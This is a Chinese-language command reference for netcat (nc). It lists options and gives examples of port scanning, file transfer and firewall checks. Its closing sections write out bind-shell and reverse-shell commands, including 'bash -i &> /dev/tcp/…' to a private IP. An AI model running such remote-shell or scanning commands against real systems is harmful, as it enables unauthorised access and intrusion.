nc
nc是網絡工具中的瑞士軍刀
補充說明
nc命令 全稱netcat,用於TCP、UDP或unix域套接字(uds)的數據流操作,它可以打開TCP連接,發送UDP數據包,監聽任意TCP 和UDP端口,同時也可用作做端口掃描,支持IPv4和IPv6,與Telnet的不同在於nc可以編寫腳本。
語法
1nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通信端口>]
2[-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信端口...]
選項
1-4 只使用IPV4
2-6 只使用IPV6
3-c 使用tls連接或者監聽
4-D 啓用socket調試開關
5-g <網關> # 設置路由器躍程通信網關,最多可設置8個。
6-G<指向器數目> # 設置來源路由指向器,其數值爲4的倍數。
7-h 在線幫助。
8-i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口。
9-l 使用監聽模式,管控傳入的資料。
10-n 直接使用IP地址,而不通過域名服務器。
11-o<輸出文件> # 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。
12-p<通信端口> # 設置本地主機使用的通信端口。
13-r 亂數指定本地與遠端主機的通信端口。
14-s<來源位址> # 設置本地主機送出數據包的IP地址。
15-u 使用UDP傳輸協議。
16-v 顯示指令執行過程。
17-w<超時秒數> # 設置等待連線的時間。
18-z 使用0輸入/輸出模式,只在掃描通信端口時使用。
實例
TCP端口掃描
1[root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100
2192.168.0.3: inverse host lookup failed: Unknown host
3(UNKNOWN) [192.168.0.3] 80 (http) open
4(UNKNOWN) [192.168.0.3] 23 (telnet) open
5(UNKNOWN) [192.168.0.3] 22 (ssh) open
掃描192.168.0.3 的端口 範圍是 1-100 掃描UDP端口
1[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 # 掃描192.168.0.3 的端口 範圍是 1-1000
掃描指定端口
1[root@localhost ~]# nc -nvv 192.168.0.1 80 # 掃描 80端口
2(UNKNOWN) [192.168.0.1] 80 (?) open
3y //用戶輸入
查看從服務器到目的地的出站端口 443 是否被防火牆阻止
1nc -vz acme-v02.api.letsencrypt.org 443 -w2
2# Ncat: Version 7.50 ( https://nmap.org/ncat )
3# Ncat: Connected to 23.77.214.183:443.
4# Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.
文件傳輸
1# 接收方提前設置監聽端口與要接收的文件名(文件名可自定義):
2nc -lp 8888 > node.tar.gz
3
4# 傳輸方發文件:
5nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz
6# ⚠️ 注意:192.168.75.121是接收方的ip地址。
1# 如果希望文件傳輸結束後自動退出,可以使用下面的命令:
2nc -lp 8888 > node.tar.gz
3nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz
4# ⚠️ 注意:-i 表示閒置超時時間
遠程控制
1# 正向控制,被控端主動設置監聽端口及bash環境,控制端連接,如果有防火牆,需開放端口,否則會被攔截。
2# 被控制端執行下面的命令:
3nc -lvnp 8888 -c bash
4# 控制端執行下面的命令:
5nc 192.168.75.121 8888
1# 反向控制,控制端設置監聽端口,被控端主動連接控制端的ip及端口,並提供bash環境。
2# 控制端執行下面的命令:
3nc -lvnp 8888
4# 被控制端執行下面的命令:
5nc 192.168.75.121 8888 -c bash
反彈shell
1# 控制端執行下面的命令:
2nc -lvnp 8888
1# 被控端執行下面的命令:
2bash -i &> /dev/tcp/192.168.75.121/8888 0>&1
來源:https://github.com/jaywcjlove/linux-command
最後修改於: Wednesday, January 31, 2024
版權申明:
- 未標註來源的內容皆為原創,未經授權請勿轉載(因轉載後排版往往錯亂、內容不可控、無法持續更新等);
- 非營利為目的,演繹本博客任何內容,請以'原文出處'或者'參考鏈接'等方式給出本站相關網頁地址(方便讀者)。